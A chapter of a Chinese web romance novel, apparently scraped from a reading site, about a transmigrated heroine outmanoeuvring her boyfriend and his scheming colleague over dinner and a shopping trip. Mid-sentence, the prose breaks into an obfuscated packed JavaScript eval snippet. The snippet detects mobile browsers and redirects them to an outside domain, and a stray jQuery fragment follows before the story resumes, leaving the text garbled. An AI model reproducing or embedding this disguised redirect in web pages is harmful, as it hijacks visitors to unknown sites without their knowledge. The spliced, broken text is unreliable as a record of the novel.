第十六章
面对突如其来的告白，陆沛时一点准备也无。
他不是没有遇过类似单刀直入的告白，但在这种弓上弦刀出鞘情况下的，确实是第一次。
这和想象中的怎么不一样？
阮妍依然淡定地迎着他的视线，一双玻璃珠般的圆眼睛水雾蒙蒙，犹如滴在柔软花瓣间的晨露，纯净而澄澈。
鬼使神差的，陆沛时反而被她的眼神看得尴尬别扭，先一步转开了视线。
“你……又在耍什么花招？”
“我可是鼓了很大的勇气才说出口的，”阮妍一只手撑着藤椅坐起来，有点后悔似地低垂脑袋，“要不，你还是忘了我刚才说的话吧。”
“……”
“是我太冲动了，我不该说出来的，毕竟我是有男朋友的人，我不能……”
陆沛时哼了一声。
她掀起薄眼皮：“沛时哥哥，你就当做今晚我什么也没说过吧！”
说着，她羞怯地捂了捂脸，站直身子，两条腿慌乱地踏着石子路，一溜烟跑了。
清亮的月光与院子里各色暖色光线，交织成一种极为柔和的色泽，融化在她离去的背影上。
陆沛时的眼睛垂落又抬起。
这种丢失掌控权，反而被对方不按常理出牌，任意牵着情绪走的局面，是第一次。
用这种小把戏转移话题，扰乱思绪，果然很狡猾。
但是，他怎么就这么被她给得逞了呢……
*
早上，阮妍还在与美梦里的帅哥难舍难分，一个扫兴的电话把她吵醒。
“小妍，你睡醒了吗？”贾彦源的声音从电话那端传来。
……这不是废话吗，你都打电话来吵我了，我能不醒吗？
刚才没来得及看清楚是谁就接了，如果早知道是他的话，她肯定懒得搭理。
但现在人设还不能崩，阮妍还是按耐着性子，好声好气地回答：“嗯。”
贾彦源：“上次我们约好这周末一块吃饭的，晚上你想好吃什么了吗？”
上次？什么时候上次约好了，她完全没印象了。
今天她实在太困，不想出去社交，更何况是和贾彦源，这个光听名字就觉得很解嗨的人。
“今天可能不行诶，我还有工作还没做完呢。”她随便找了个理由。
贾彦源啧了声：“都周末了怎么还让你加班？这也太不像话了。”
“建筑公司嘛，加班正常的，更何况我才刚进卓陆没多久，多努力一点才能更快熟悉上手。”
阮妍的工作态度令贾彦源很是意外，从前那个整天只知道吃喝享乐，把自己打扮得光鲜亮丽的大小姐，居然变得这么有上进心。
他再一次对她刮目相看的同时，对她的感觉也越来越不同。
“那行，但你也别太拼了，注意劳逸结合，今天我就不打扰你工作了，等明天吧，明天我带你……”
贾彦源话说一半，忽的想到什么，带着愧疚的语气：“本来想带你去避暑山庄好好放松一下的，但我一时忘了明天已经有约了，抱歉啊。”
这不正中下怀吗？阮妍求之不得，愉快地舒展了下身子。
“没事啦阿彦哥哥，你有要紧事要忙的话就去忙吧，我们下次去也可以的。”
“其实……”贾彦源停顿一下，“也不是什么需要忙的事，是芊芊正式转正了，我们打算庆祝庆祝，顺便明天一起吃个饭。”
阮妍卷着头发把玩的手指停了下来，一撮长发松散在耳边。
她忽然又改变主意了。
“啊，真的吗？太好了！我真为芊芊姐感到高兴呢！”她把那股子绿茶感拿捏得恰到好处，“我也好想跟你们一起庆祝哦，好想亲口跟芊芊姐说一声恭喜。”
贾彦源立即道：“你也想去吗？当然可以啊，我打电话和她说一声……”
阮妍忙阻拦道：“我觉得还是先别说吧，明天我想给芊芊姐一个惊喜。”
挂断电话，阮妍又恢复不死不活的状态，在床上懒懒翻了个身。
昨晚陆沛时忽然丢出的问题，将她打了个措手不及。
原来他一直都在暗中观察自己。
幸好自己急中生智转移了话题。
只不过，这样她的人设好像稍微有些偏离了道德感的轨道。
难道这是要推着她往禁忌之爱的节奏走吗？
这个男人……
阮妍眼前又浮现起那张风刀霜剑般的脸。
啧，可真是难搞啊。
*
隔天下午，见到搞“突袭”的阮妍，乔芊芊脸色的瞬间变化确实很精彩。
而阮妍则依然扬着那张人蓄无害的笑脸：“surprise！芊芊姐，恭喜你顺利转正喽！”
但乔芊芊就是乔芊芊，失态不过一秒就迅速恢复镇定：“谢谢。”
阮妍也装作看不见她的情绪，将一个纸袋塞给她：“喏，送你的礼物，希望你会喜欢。”
贾彦源在旁边搭腔：“这个礼物小妍特意挑选了一上午的，她真的很用心。”
乔芊芊捏皱纸袋，勉强挤出一丝笑：“谢谢小妍，让你破费了。”
阮妍笑得灿烂：“也没有破费啦，就是一个水晶摆件，你可以摆在你的办公桌上，还有一张我亲手给你写的贺卡。”
反正不超过五十块。
难不成还指望我买奢侈品吗？我又不是你的姘头贾彦源。
“我知道芊芊姐向来不喜欢那些华而不实的东西，更不喜欢铺张浪费，是吗？”
“……”
乔芊芊的脸默默变绿，阮妍则若无其事地转身和旁边的贾彦源说话，那过分甜腻的笑容，仿佛在向她示威炫耀。
连手里的纸袋都像在嘲笑自己，乔芊芊气得牙痒，丢又不能丢，只能暂时吞下这份屈辱，默默等待时机反击。
原本她是想借这个机会，修补自己和贾彦源起了嫌隙的关系，让他忘记上次的不快，结果却横插进一个讨厌的不速之客。
乔芊芊压抑地吃过这顿饭，重新燃起了斗志。
“你们等会儿有时间吗？我觉得我现在的打扮还是有点不太符合职场，所以想改变一下自己的着装风格，你们能陪我一起挑选衣服吗？”乔芊芊双手交叠在桌上，笑着看向他们。
阮妍嘴里的牛排还没咽下，喝了口气泡水：“好啊，我都有时间。”
乔芊芊又温柔地看向贾彦源：“不好意思啊，占用了你们俩的时间，周末大好时光，却让你们陪我吃饭逛街的。”
贾彦源摇头：“没事的，本来就是专门庆祝你顺利转正的。”
乔芊芊脸上带着笑，心里却十分不满。
明知道今天是专门陪我庆祝的，却把这个女人带来破坏气氛。
这不像是从前的贾彦源会做的事。
这段时间乔芊芊的危机感愈来愈明显，当初那个心机不足，什么情绪都挂在脸上的阮妍，如今却像换了个人，喜怒不形于色，让人猜不到下一步又会出什么花招。
她的余光不经意似的瞥向对面吃甜点的人，表情森冷。
表面上一副纯良无害的模样，对谁都是一张天真无邪的笑脸，实际上一肚子坏水。
乔芊芊可没那么容易认输，她得到手的男人，不会就这么轻易放弃。
她隐忍着，小心藏匿起自己的小脾气，反正来日方长。
过去她能让对阮妍一往情深的贾彦源，迷失在自己的温柔攻势里，现在她就有办法让他再次忘记阮妍，重新沦陷于自己。
他们从餐厅出来后，跟着乔芊芊一起去看衣服。
乔芊芊没有选择去楼下那些奢侈品大牌逛，而是将他们带到了商场四楼。
这一层入驻的基本上都是些二三线牌子，有的甚至连名字也没听说过。
她是故意的，因为阮妍平时对穿衣打扮过分的挑剔，非顶奢不用，知名度不够的大牌她都看不上，更何况是这种听都没听过的小牌子。
有一次阮妍生日，贾彦源送了她一条C家的裙子，虽然也是一线大牌，但它们家女装这条线相对还是比较弱一点，看到logo的瞬间，阮妍的脸色就有些变了。
随后在乔芊芊的煽风点火下，阮妍对着贾彦源大发雷霆，觉得他不重视自己，俩人闹得不欢而散，冷战了半个多月才和好。
……
乔芊芊带着他们随意逛了几家店，都不是太满意的样子。
后来，她走进了一家标着英文名的服装店。
这家店的风格很杂，运动，休闲，淑女，几种风格混杂在一起，再加上那不中不洋的店名，每一样都精准踩中阮妍的雷点。
“小妍，谢谢你今天特意来为我庆祝，还有特意准备的惊喜礼物，作为回礼，我想送你两件衣服。”乔芊芊走到阮妍身边，亲切地拉住她的胳膊，“你看看你有没有喜欢的，不要跟我客气。”
说完，静静等着阮妍变脸发脾气，在贾彦源面前原形毕露。
而不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788297|173786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知乔芊芊这些心理活动的阮妍，搞不懂她葫芦里忽然卖的什么药，是想故意在贾彦源面前彰显她有多大方？
无所谓了，反正出血的人又不是自己，既然她想立慷慨人设，那阮妍也不跟她客气了。
“好啊，谢谢芊芊姐。”阮妍笑着回勾住她的臂弯。
“……”出乎乔芊芊意料的回答。
她一定又是在装模作样当好人。
乔芊芊不信她真的会放下身段要这些杂牌衣服，在心里轻哼一声，想要看看她还能装多久。
可是……
“这件看起来还可以欸，这件似乎也不错，唔，还有这件好像也行……”
阮妍居然就这么兴致勃勃地挑起了衣服。
乔芊芊的眉头不自觉地拧了起来，心里念着，她一定是装的，她一定又在惺惺作态，她不可能，她绝对不可能……
“你好，请问更衣室在哪儿？”
“……”
阮妍一声清脆的嗓音，再次打了乔芊芊的脸。
她匪夷所思地望着阮妍走进更衣室的背影，眉头拧的更深。
这很反常，一个人的性格真的能改变到这种程度吗？
就好像……就好像完全换了一个人。
回想起来，就是从她失踪回来后，整个人开始不对劲的。
那么这个人真的是阮妍吗？
可是那张脸明明就是她啊。
难道，现在的阮妍不是真实的阮妍，而是……另一个人藏在她身体里——
她穿越重生了？
就像现在很火的小说电视剧里的剧情一样？
正联想的起劲，肩膀忽然被一股力道轻轻按了按。
乔芊芊吓了一大跳，转头看，发现是贾彦源。
“你怎么一直站这里发呆呢？身体不舒服吗？”贾彦源温柔的声音落在耳边。
乔芊芊缓了缓神，摇头：“没什么，我在想工作上的事，想的太入迷了。”
“嗯，”贾彦源关心地说，“有什么事要及时告诉我，不要老是自己逞强。”
乔芊芊淡淡一笑：“好。”
乔芊芊顺手拿起刚才阮妍试戴过的一条项链：“我也想试试，你帮我？”
贾彦源顺从地替她戴上项链。
那星形的挂坠正好卡在乔芊芊领口露出的深v线的上方。
阮妍还在里面换衣服，乔芊芊更加明目张胆，笑着与贾彦源调情：“你说是阮妍戴的好看，还是我戴的好看？”
白皙细嫩的皮肤，以及那若隐若现的饱满轮廓，比银色的坠子更加晃眼。
贾彦源瞬间理解她的意思，两人的目光缠绕在一起，彼此不言自明。
他们又逛了几家店，乔芊芊毫无收获，阮妍却一口气买了好几件衣服。
刚才阮妍已经挑好了其中两件，其它的不需要她买单。
“芊芊姐，谢谢你带我来逛衣服呀。”
面对阮妍甜甜的笑，乔芊芊很勉强地牵动了下嘴角，扯出个敷衍的笑容。
她现在的心思全都在贾彦源身上，贾彦源的目光也时不时落向她，彼此每一次眼神接触都充满深意。
俩人在阮妍这个正牌女友面前眉来眼去，这种感觉十分刺激。
正当乔芊芊想着一会儿要怎么替贾彦源找借口甩掉阮妍的时候，阮妍却忽然先开口了。
她的眼睛瞥了瞥商场二楼，语气略显仓促：“我忽然有点事要处理，你们自己逛吧，我要先离开一下。”
贾彦源不明所以：“发生什么事了吗？需不需要我帮忙？”
阮妍来不及解释那么多，她边往电梯方向走，边回头匆匆说：“没什么，我自己能处理。”
贾彦源冲她背影喊：“那你等会儿怎么回去啊？”
“我自己会回去，你们逛你们的，别管我……”
她匆忙的声音和背影渐渐消失在电梯的方向。
没反应过来的贾彦源也朝刚才她发呆的二楼看了看，发现一家珠宝店门口聚集了一大堆人，吵吵嚷嚷的，不知道发生什么事。
他犹豫着要不要也下去看看，旁边的乔芊芊却轻轻地拉住了他的手。
“阿彦，我感觉我的头有点晕，你能送我回去吗？”
乔芊芊柔柔的嗓音，和娇媚的眼神，让贾彦源心猿意马，瞬间就将阮妍的事抛之脑后。
“那我送你回去。”他的目光牢牢黏在她身上。
“嗯。”乔芊芊也顺势将肩膀贴住他的胳膊。